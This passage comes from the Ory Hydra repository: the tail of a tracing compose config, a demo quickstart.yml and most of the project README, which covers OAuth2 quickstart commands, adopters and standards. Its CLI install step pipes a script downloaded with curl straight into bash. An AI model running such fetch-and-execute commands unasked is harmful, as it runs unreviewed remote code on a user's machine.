TRACING_PROVIDERS_JAEGER_SAMPLING_TRACE_ID_RATIO=1 ### Zipkin ### # - TRACING_PROVIDERS_ZIPKIN_SERVER_URL=http://zipkin:9411/api/v2/spans ### DataDog ### ### See env vars here: https://docs.datadoghq.com/tracing/setup/go/#configuration) ### # - TRACING_PROVIDERS_OTLP_INSECURE=true # - TRACING_PROVIDERS_OTLP_SAMPLING_SAMPLING_RATIO=1.0 # - TRACING_PROVIDERS_OTLP_SERVER_URL=localhost:4318 ### Elastic APM ### ### See env vars here: https://www.elastic.co/guide/en/apm/agent/go/1.x/configuration.html) ### # - ELASTIC_APM_SERVER_URL="http://apm-server:8200" # - ELASTIC_APM_SERVICE_NAME="Ory Hydra" # - ELASTIC_APM_SERVICE_VERSION="1.9.0" # - ELASTIC_APM_ENVIRONMENT="devel" ### Opentelemetry ### ### See env vars here: https://github.com/open-telemetry/opentelemetry-specification/blob/main/specification/sdk-environment-variables.md ### jaeger: image: jaegertracing/all-in-one:1.19.2 ports: - "16686:16686" # The UI port networks: - intranet # zipkin: # image: openzipkin/zipkin:2 # environment: # - STORAGE_TYPE=mem # ports: # - "9411:9411" # The UI/API port # datadog: # image: datadog/agent:7 # environment: # - DD_API_KEY=<YOUR_API_KEY> # Replace it with your DataDog API key # - DD_APM_ENABLED=true # - DD_APM_NON_LOCAL_TRAFFIC=true # - DD_OTLP_CONFIG_RECEIVER_PROTOCOLS_HTTP_ENDPOINT=0.0.0.0:4318
YAML
hydra/quickstart.yml
########################################################################### ####### FOR DEMONSTRATION PURPOSES ONLY ####### ########################################################################### # # # If you have not yet read the tutorial, do so now: # # https://www.ory.sh/docs/hydra/5min-tutorial # # # # This set up is only for demonstration purposes. The login # # endpoint can only be used if you follow the steps in the tutorial. # # # ########################################################################### version: "3.7" services: hydra: image: oryd/hydra:v2.2.0-rc.3 ports: - "4444:4444" # Public port - "4445:4445" # Admin port - "5555:5555" # Port for hydra token user command: serve -c /etc/config/hydra/hydra.yml all --dev volumes: - type: volume source: hydra-sqlite target: /var/lib/sqlite read_only: false - type: bind source: ./contrib/quickstart/5-min target: /etc/config/hydra environment: - DSN=sqlite:///var/lib/sqlite/db.sqlite?_fk=true restart: unless-stopped depends_on: - hydra-migrate networks: - intranet hydra-migrate: image: oryd/hydra:v2.2.0-rc.3 environment: - DSN=sqlite:///var/lib/sqlite/db.sqlite?_fk=true command: migrate -c /etc/config/hydra/hydra.yml sql -e --yes volumes: - type: volume source: hydra-sqlite target: /var/lib/sqlite read_only: false - type: bind source: ./contrib/quickstart/5-min target: /etc/config/hydra restart: on-failure networks: - intranet consent: environment: - HYDRA_ADMIN_URL=http://hydra:4445 image: oryd/hydra-login-consent-node:v2.2.0-rc.3 ports: - "3000:3000" restart: unless-stopped networks: - intranet networks: intranet: volumes: hydra-sqlite:
Markdown
hydra/README.md
<h1 align="center"><img src="https://raw.githubusercontent.com/ory/meta/master/static/banners/hydra.svg" alt="Ory Hydra - Open Source OAuth 2 and OpenID Connect server"></h1> <h4 align="center"> <a href="https://www.ory.sh/chat">Chat</a> | <a href="https://github.com/ory/hydra/discussions">Discussions</a> | <a href="http://eepurl.com/di390P">Newsletter</a><br/><br/> <a href="https://www.ory.sh/hydra/docs/index">Guide</a> | <a href="https://www.ory.sh/hydra/docs/reference/api">API Docs</a> | <a href="https://godoc.org/github.com/ory/hydra">Code Docs</a><br/><br/> <a href="https://opencollective.com/ory">Support this project!</a><br/><br/> <a href="https://www.ory.sh/jobs/">Work in Open Source, Ory is hiring!</a> </h4> --- <p align="left"> <a href="https://github.com/ory/hydra/actions/workflows/ci.yaml"><img src="https://github.com/ory/hydra/actions/workflows/ci.yaml/badge.svg?branch=master&event=push" alt="CI Tasks for Ory Hydra"></a> <a href="https://codecov.io/gh/ory/hydra"><img src="https://codecov.io/gh/ory/hydra/branch/master/graph/badge.svg?token=y4fVk2Of8a"/></a> <a href="https://goreportcard.com/report/github.com/ory/hydra"><img src="https://goreportcard.com/badge/github.com/ory/hydra" alt="Go Report Card"></a> <a href="https://pkg.go.dev/github.com/ory/hydra"><img src="https://pkg.go.dev/badge/www.github.com/ory/hydra" alt="PkgGoDev"></a> <a href="https://bestpractices.coreinfrastructure.org/projects/364"><img src="https://bestpractices.coreinfrastructure.org/projects/364/badge" alt="CII Best Practices"></a> <a href="#backers" alt="sponsors on Open Collective"><img src="https://opencollective.com/ory/backers/badge.svg" /></a> <a href="#sponsors" alt="Sponsors on Open Collective"><img src="https://opencollective.com/ory/sponsors/badge.svg" /></a> <a href="https://github.com/ory/hydra/blob/master/CODE_OF_CONDUCT.md" alt="Ory Code of Conduct"><img src="https://img.shields.io/badge/ory-code%20of%20conduct-green" /></a> </p> Ory Hydra is a hardened, **OpenID Certified OAuth 2.0 Server and OpenID Connect Provider** optimized for low-latency, high throughput, and low resource consumption. Ory Hydra _is not_ an identity provider (user sign up, user login, password reset flow), but connects to your existing identity provider through a [login and consent app](https://www.ory.sh/docs/hydra/oauth2#authenticating-users-and-requesting-consent). Implementing the login and consent app in a different language is easy, and exemplary consent apps ([Node](https://github.com/ory/hydra-login-consent-node)) and [SDKs](https://www.ory.sh/docs/kratos/sdk/index) for common languages are provided. Ory Hydra can use [Ory Kratos](https://github.com/ory/kratos) as its identity server. ## Ory Hydra on the Ory Network The [Ory Network](https://www.ory.sh/cloud) is the fastest, most secure and worry-free way to use Ory's Services. **Ory OAuth2 & OpenID Connect** is powered by the Ory Hydra open source federation server, and it's fully API-compatible. The Ory Network provides the infrastructure for modern end-to-end security: - Identity & credential management scaling to billions of users and devices - Registration, Login and Account management flows for passkey, biometric, social, SSO and multi-factor authentication - **Pre-built login, registration and account management pages and components** - **OAuth2 and OpenID provider for single sign on, API access and machine-to-machine authorization** - Low-latency permission checks based on Google's Zanzibar model and with built-in support for the Ory Permission Language It's fully managed, highly available, developer & compliance-friendly! - GDPR-friendly secure storage with data locality - Cloud-native APIs, compatible with Ory's Open Source servers - Comprehensive admin tools with the web-based Ory Console and the Ory Command Line Interface (CLI) - Extensive documentation, straightforward examples and easy-to-follow guides - Fair, usage-based [pricing](https://www.ory.sh/pricing) Sign up for a [**free developer account**](https://console.ory.sh/registration?utm_source=github&utm_medium=banner&utm_campaign=kratos-readme) today! ## Ory Network Hybrid Support Plan Ory offers a support plan for Ory Network Hybrid, including Ory on private cloud deployments. If you have a self-hosted solution and would like help, consider a support plan! The team at Ory has years of experience in cloud computing. Ory's offering is the only official program for qualified support from the maintainers. For more information see the **[website](https://www.ory.sh/support/)** or **[book a meeting](https://www.ory.sh/contact/)**! ## Get Started You can use [Docker to run Ory Hydra locally](https://www.ory.sh/docs/hydra/5min-tutorial) or use the Ory CLI to try out Ory Hydra: ```shell # This example works best in Bash bash <(curl https://raw.githubusercontent.com/ory/meta/master/install.sh) -b . ory sudo mv ./ory /usr/local/bin/ # Or with Homebrew installed brew install ory/tap/cli ``` create a new project (you may also use [Docker](https://www.ory.sh/docs/hydra/5min-tutorial)) ``` ory create project --name "Ory Hydra 2.0 Example" project_id="{set to the id from output}" ``` and follow the quick & easy steps below. ### OAuth 2.0 Client Credentials / Machine-to-Machine Create an OAuth 2.0 Client, and run the OAuth 2.0 Client Credentials flow: ```shell ory create oauth2-client --project $project_id \ --name "Client Credentials Demo" \ --grant-type client_credentials client_id="{set to client id from output}" client_secret="{set to client secret from output}" ory perform client-credentials --client-id=$client_id --client-secret=$client_secret --project $project_id access_token="{set to access token from output}" ory introspect token $access_token --project $project_id ``` ### OAuth 2.0 Authorize Code + OpenID Connect Try out the OAuth 2.0 Authorize Code grant right away! By accepting permissions `openid` and `offline_access` at the consent screen, Ory refreshes and OpenID Connect ID token, ```shell ory create oauth2-client --project $project_id \ --name "Authorize Code with OpenID Connect Demo" \ --grant-type authorization_code,refresh_token \ --response-type code \ --redirect-uri http://127.0.0.1:4446/callback code_client_id="{set to client id from output}" code_client_secret="{set to client secret from output}" ory perform authorization-code \ --project $project_id \ --client-id $code_client_id \ --client-secret $code_client_secret code_access_token="{set to access token from output}" ory introspect token $code_access_token --project $project_id ``` --- <!-- START doctoc generated TOC please keep comment here to allow auto update --> <!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE --> - [What is Ory Hydra?](#what-is-ory-hydra) - [Who's using it?](#whos-using-it) - [OAuth2 and OpenID Connect: Open Standards!](#oauth2-and-openid-connect-open-standards) - [OpenID Connect Certified](#openid-connect-certified) - [Quickstart](#quickstart) - [Installation](#installation) - [Ecosystem](#ecosystem) - [Ory Kratos: Identity and User Infrastructure and Management](#ory-kratos-identity-and-user-infrastructure-and-management) - [Ory Hydra: OAuth2 & OpenID Connect Server](#ory-hydra-oauth2--openid-connect-server) - [Ory Oathkeeper: Identity & Access Proxy](#ory-oathkeeper-identity--access-proxy) - [Ory Keto: Access Control Policies as a Server](#ory-keto-access-control-policies-as-a-server) - [Security](#security) - [Disclosing vulnerabilities](#disclosing-vulnerabilities) - [Benchmarks](#benchmarks) - [Telemetry](#telemetry) - [Documentation](#documentation) - [Guide](#guide) - [HTTP API documentation](#http-api-documentation) - [Upgrading and Changelog](#upgrading-and-changelog) - [Command line documentation](#command-line-documentation) - [Develop](#develop) - [Dependencies](#dependencies) - [Formatting Code](#formatting-code) - [Running Tests](#running-tests) - [Short Tests](#short-tests) - [Regular Tests](#regular-tests) - [E2E Tests](#e2e-tests) - [OpenID Connect Conformity Tests](#openid-connect-conformity-tests) - [Build Docker](#build-docker) - [Run the Docker Compose quickstarts](#run-the-docker-compose-quickstarts) - [Add a new migration](#add-a-new-migration) - [Libraries and third-party projects](#libraries-and-third-party-projects) <!-- END doctoc generated TOC please keep comment here to allow auto update --> ## What is Ory Hydra? Ory Hydra is a server implementation of the OAuth 2.0 authorization framework and the OpenID Connect Core 1.0. Existing OAuth2 implementations usually ship as libraries or SDKs such as [node-oauth2-server](https://github.com/oauthjs/node-oauth2-server) or [Ory Fosite](https://github.com/ory/fosite/issues), or as fully featured identity solutions with user management and user interfaces, such as [Keycloak](https://www.keycloak.org). Implementing and using OAuth2 without understanding the whole specification is challenging and prone to errors, even when SDKs are being used. The primary goal of Ory Hydra is to make OAuth 2.0 and OpenID Connect 1.0 better accessible. Ory Hydra implements the flows described in OAuth2 and OpenID Connect 1.0 without forcing you to use a "Hydra User Management" or some template engine or a predefined front-end. Instead, it relies on HTTP redirection and cryptographic methods to verify user consent allowing you to use Ory Hydra with any authentication endpoint, be it [Ory Kratos](https://github.com/ory/kratos), [authboss](https://github.com/go-authboss/authboss), [User Frosting](https://www.userfrosting.com/) or your proprietary Java authentication. ### Who's using it? <!--BEGIN ADOPTERS--> The Ory community stands on the shoulders of individuals, companies, and maintainers. The Ory team thanks everyone involved - from submitting bug reports and feature requests, to contributing patches and documentation. The Ory community counts more than 33.000 members and is growing rapidly. The Ory stack protects 60.000.000.000+ API requests every month with over 400.000+ active service nodes. None of this would have been possible without each and everyone of you! The following list represents companies that have accompanied us along the way and that have made outstanding contributions to our ecosystem. _If you think that your company deserves a spot here, reach out to <a href="mailto:[email protected]">[email protected]</a> now_! <table> <thead> <tr> <th>Type</th> <th>Name</th> <th>Logo</th> <th>Website</th> </tr> </thead> <tbody> <tr> <td>Adopter *</td> <td>Raspberry PI Foundation</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/raspi.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/raspi.svg" alt="Raspberry PI Foundation"> </picture> </td> <td><a href="https://www.raspberrypi.org/">raspberrypi.org</a></td> </tr> <tr> <td>Adopter *</td> <td>Kyma Project</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/kyma.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/kyma.svg" alt="Kyma Project"> </picture> </td> <td><a href="https://kyma-project.io">kyma-project.io</a></td> </tr> <tr> <td>Adopter *</td> <td>Tulip</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/tulip.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/tulip.svg" alt="Tulip Retail"> </picture> </td> <td><a href="https://tulip.com/">tulip.com</a></td> </tr> <tr> <td>Adopter *</td> <td>Cashdeck / All My Funds</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/allmyfunds.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/allmyfunds.svg" alt="All My Funds"> </picture> </td> <td><a href="https://cashdeck.com.au/">cashdeck.com.au</a></td> </tr> <tr> <td>Adopter *</td> <td>Hootsuite</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/hootsuite.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/hootsuite.svg" alt="Hootsuite"> </picture> </td> <td><a href="https://hootsuite.com/">hootsuite.com</a></td> </tr> <tr> <td>Adopter *</td> <td>Segment</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/segment.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/segment.svg" alt="Segment"> </picture> </td> <td><a href="https://segment.com/">segment.com</a></td> </tr> <tr> <td>Adopter *</td> <td>Arduino</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/arduino.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/arduino.svg" alt="Arduino"> </picture> </td> <td><a href="https://www.arduino.cc/">arduino.cc</a></td> </tr> <tr> <td>Adopter *</td> <td>DataDetect</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/datadetect.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/datadetect.svg" alt="Datadetect"> </picture> </td> <td><a href="https://unifiedglobalarchiving.com/data-detect/">unifiedglobalarchiving.com/data-detect/</a></td> </tr> <tr> <td>Adopter *</td> <td>Sainsbury's</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/sainsburys.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/sainsburys.svg" alt="Sainsbury's"> </picture> </td> <td><a href="https://www.sainsburys.co.uk/">sainsburys.co.uk</a></td> </tr> <tr> <td>Adopter *</td> <td>Contraste</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/contraste.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/contraste.svg" alt="Contraste"> </picture> </td> <td><a href="https://www.contraste.com/en">contraste.com</a></td> </tr> <tr> <td>Adopter *</td> <td>Reyah</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/reyah.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/reyah.svg" alt="Reyah"> </picture> </td> <td><a href="https://reyah.eu/">reyah.eu</a></td> </tr> <tr> <td>Adopter *</td> <td>Zero</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/commitzero.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/commitzero.svg" alt="Project Zero by Commit"> </picture> </td> <td><a href="https://getzero.dev/">getzero.dev</a></td> </tr> <tr> <td>Adopter *</td> <td>Padis</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/padis.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/padis.svg" alt="Padis"> </picture> </td> <td><a href="https://padis.io/">padis.io</a></td> </tr> <tr> <td>Adopter *</td> <td>Cloudbear</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/cloudbear.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/cloudbear.svg" alt="Cloudbear"> </picture> </td> <td><a href="https://cloudbear.eu/">cloudbear.eu</a></td> </tr> <tr> <td>Adopter *</td> <td>Security Onion Solutions</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/securityonion.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/securityonion.svg" alt="Security Onion Solutions"> </picture> </td> <td><a href="https://securityonionsolutions.com/">securityonionsolutions.com</a></td> </tr> <tr> <td>Adopter *</td> <td>Factly</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/factly.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/factly.svg" alt="Factly"> </picture> </td> <td><a href="https://factlylabs.com/">factlylabs.com</a></td> </tr> <tr> <td>Adopter *</td> <td>Nortal</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/nortal.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/nortal.svg" alt="Nortal"> </picture> </td> <td><a href="https://nortal.com/">nortal.com</a></td> </tr> <tr> <td>Adopter *</td> <td>OrderMyGear</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/ordermygear.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/ordermygear.svg" alt="OrderMyGear"> </picture> </td> <td><a href="https://www.ordermygear.com/">ordermygear.com</a></td> </tr> <tr> <td>Adopter *</td> <td>Spiri.bo</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/spiribo.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/spiribo.svg" alt="Spiri.bo"> </picture> </td> <td><a href="https://spiri.bo/">spiri.bo</a></td> </tr> <tr> <td>Adopter *</td> <td>Strivacity</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/strivacity.svg" /> <img height="16px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/strivacity.svg" alt="Spiri.bo"> </picture> </td> <td><a href="https://strivacity.com/">strivacity.com</a></td> </tr> <tr> <td>Adopter *</td> <td>Hanko</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/hanko.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/hanko.svg" alt="Hanko"> </picture> </td> <td><a href="https://hanko.io/">hanko.io</a></td> </tr> <tr> <td>Adopter *</td> <td>Rabbit</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/rabbit.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/rabbit.svg" alt="Rabbit"> </picture> </td> <td><a href="https://rabbit.co.th/">rabbit.co.th</a></td> </tr> <tr> <td>Adopter *</td> <td>inMusic</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/inmusic.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/inmusic.svg" alt="InMusic"> </picture> </td> <td><a href="https://inmusicbrands.com/">inmusicbrands.com</a></td> </tr> <tr> <td>Adopter *</td> <td>Buhta</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/buhta.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/buhta.svg" alt="Buhta"> </picture> </td> <td><a href="https://buhta.com/">buhta.com</a></td> </tr> <tr> <td>Adopter *</td> <td>Connctd</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/connctd.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/connctd.svg" alt="Connctd"> </picture> </td> <td><a href="https://connctd.com/">connctd.com</a></td> </tr> <tr> <td>Adopter *</td> <td>Paralus</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/paralus.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/paralus.svg" alt="Paralus"> </picture> </td> <td><a href="https://www.paralus.io/">paralus.io</a></td> </tr> <tr> <td>Adopter *</td> <td>TIER IV</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/tieriv.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/tieriv.svg" alt="TIER IV"> </picture> </td> <td><a href="https://tier4.jp/en/">tier4.jp</a></td> </tr> <tr> <td>Adopter *</td> <td>R2Devops</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/r2devops.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/r2devops.svg" alt="R2Devops"> </picture> </td> <td><a href="https://r2devops.io/">r2devops.io</a></td> </tr> <tr> <td>Adopter *</td> <td>LunaSec</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/lunasec.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/lunasec.svg" alt="LunaSec"> </picture> </td> <td><a href="https://www.lunasec.io/">lunasec.io</a></td> </tr> <tr> <td>Adopter *</td> <td>Serlo</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/serlo.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/serlo.svg" alt="Serlo"> </picture> </td> <td><a href="https://serlo.org/">serlo.org</a></td> </tr> </tr> <tr> <td>Adopter *</td> <td>dyrector.io</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/dyrector_io.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/dyrector_io.svg" alt="dyrector.io"> </picture> </td> <td><a href="https://dyrector.io/">dyrector.io</a></td> </tr> </tr> <tr> <td>Adopter *</td> <td>Stackspin</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/stackspin.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/stackspin.svg" alt="stackspin.net"> </picture> </td> <td><a href="https://www.stackspin.net/">stackspin.net</a></td> </tr> </tr> <tr> <td>Adopter *</td> <td>Amplitude</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/amplitude.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/amplitude.svg" alt="amplitude.com"> </picture> </td> <td><a href="https://amplitude.com/">amplitude.com</a></td> </tr> <tr> <td>Adopter *</td> <td>Pinniped</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/pinniped.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/pinniped.svg" alt="pinniped.dev"> </picture> </td> <td><a href="https://pinniped.dev/">pinniped.dev</a></td> </tr> <tr> <td>Adopter *</td> <td>Pvotal</td> <td align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/ory/meta/master/static/adopters/light/pvotal.svg" /> <img height="32px" src="https://raw.githubusercontent.com/ory/meta/master/static/adopters/dark/pvotal.svg" alt="pvotal.tech"> </picture> </td> <td><a href="https://pvotal.tech/">pvotal.tech</a></td> </tr> </tbody> </table> Many thanks to all individual contributors <a href="https://opencollective.com/ory" target="_blank"><img src="https://opencollective.com/ory/contributors.svg?width=890&limit=714&button=false" /></a> <em>\* Uses one of Ory's major projects in production.</em> <!--END ADOPTERS--> ### OAuth2 and OpenID Connect: Open Standards! Ory Hydra implements Open Standards set by the IETF: - [The OAuth 2.0 Authorization Framework](https://tools.ietf.org/html/rfc6749) - [OAuth 2.0 Threat Model and Security Considerations](https://tools.ietf.org/html/rfc6819) - [OAuth 2.0 Token Revocation](https://tools.ietf.org/html/rfc7009) - [OAuth 2.0 Token Introspection](https://tools.ietf.org/html/rfc7662) - [OAuth 2.0 for Native Apps](https://tools.ietf.org/html/draft-ietf-oauth-native-apps-10) - [OAuth 2.0 Dynamic Client Registration Protocol](https://datatracker.ietf.org/doc/html/rfc7591) - [OAuth 2.0 Dynamic Client Registration Management Protocol](https://datatracker.ietf.org/doc/html/rfc7592) - [Proof Key for Code Exchange by OAuth Public Clients](https://tools.ietf.org/html/rfc7636) - [JSON Web Token (JWT) Profile for OAuth 2.0 Client Authentication and Authorization Grants](https://tools.ietf.org/html/rfc7523) and the OpenID Foundation: - [OpenID Connect Core 1.0](http://openid.net/specs/openid-connect-core-1_0.html) - [OpenID Connect Discovery 1.0](https://openid.net/specs/openid-connect-discovery-1_0.html) - [OpenID Connect Dynamic Client Registration 1.0](https://openid.net/specs/openid-connect-registration-1_0.html) - [OpenID Connect Front-Channel Logout 1.0](https://openid.net/specs/openid-connect-frontchannel-1_0.html) - [OpenID Connect Back-Channel Logout 1.0](https://openid.net/specs/openid-connect-backchannel-1_0.html) ### OpenID Connect Certified Ory Hydra is an OpenID Foundation [certified OpenID Provider (OP)](http://openid.net/certification/#OPs). <p align="center"> <img src="https://github.com/ory/docs/blob/master/docs/hydra/images/oidc-cert.png" alt="Ory Hydra is a certified OpenID Providier" width="256px"> </p> The following OpenID profiles are certified: - [Basic OpenID Provider](http://openid.net/specs/openid-connect-core-1_0.html#CodeFlowAuth) (response types `code`) - [Implicit OpenID Provider](http://openid.net/specs/openid-connect-core-1_0.html#ImplicitFlowAuth) (response types `id_token`, `id_token+token`) - [Hybrid OpenID Provider](http://openid.net/specs/openid-connect-core-1_0.html#HybridFlowAuth) (response types `code+id_token`, `code+id_token+token`, `code+token`) - [OpenID Provider Publishing Configuration Information](https://openid.net/specs/openid-connect-discovery-1_0.html) - [Dynamic OpenID Provider](https://openid.net/specs/openid-connect-registration-1_0.html) To obtain certification, we deployed the [reference user login and consent app](https://github.com/ory/hydra-login-consent-node) (unmodified) and Ory Hydra v1.0.0. ## Quickstart This section is a starter guide to working with Ory Hydra. In-depth docs are available as well: - The documentation is available [here](https://www.ory.sh/docs/hydra). - The REST API documentation is available [here](https://www.ory.sh/docs/hydra/sdk/api). ### Installation Head over to the [Ory Developer Documentation](https://www.ory.sh/docs/hydra/install) to learn how to install Ory Hydra on Linux, macOS, Windows, and Docker and how to build Ory Hydra from source. ## Ecosystem <!--BEGIN ECOSYSTEM--> We build Ory on several guiding principles when it comes to our architecture design: - Minimal dependencies - Runs everywhere - Scales without effort - Minimize room for human and network errors Ory's architecture is designed to run best on a Container Orchestration system such as Kubernetes, CloudFoundry, OpenShift, and similar projects. Binaries are small (5-15MB) and available for all popular processor types (ARM, AMD64, i386) and operating systems (FreeBSD, Linux, macOS, Windows) without system dependencies (Java, Node, Ruby, libxml, ...). ### Ory Kratos: Identity and User Infrastructure and Management [Ory Kratos](https://github.com/ory/kratos) is an API-first Identity and User Management system that is built according to [cloud architecture best practices](https://www.ory.sh/docs/next/ecosystem/software-architecture-philosophy). It implements core use cases that almost every software application needs to deal with: Self-service Login and Registration, Multi-Factor Authentication (MFA/2FA), Account Recovery and Verification, Profile, and Account Management. ### Ory Hydra: OAuth2 & OpenID Connect Server [Ory Hydra](https://github.com/ory/hydra) is an OpenID Certifiedâ„¢ OAuth2 and OpenID Connect Provider which easily connects to any existing identity system by writing a tiny "bridge" application. It gives absolute control over the user interface and user experience flows. ### Ory Oathkeeper: Identity & Access Proxy [Ory Oathkeeper](https://github.com/ory/oathkeeper) is a BeyondCorp/Zero Trust Identity & Access Proxy (IAP) with configurable authentication, authorization, and request mutation rules for your web services: Authenticate JWT, Access Tokens, API Keys, mTLS; Check if the contained subject is allowed to perform the request; Encode resulting content into custom headers (`X-User-ID`), JSON Web Tokens and more! ### Ory Keto: Access Control Policies as a Server [Ory Keto](https://github.com/ory/keto) is a policy decision point. It uses a set of access control policies, similar to AWS IAM Policies, in order to determine whether a subject (user, application, service, car, ...) is authorized to perform a certain action on a resource. <!--END ECOSYSTEM--> ## Security _Why should I use Ory Hydra? It's not that hard to implement two OAuth2 endpoints and there are numerous SDKs out there!_ OAuth2 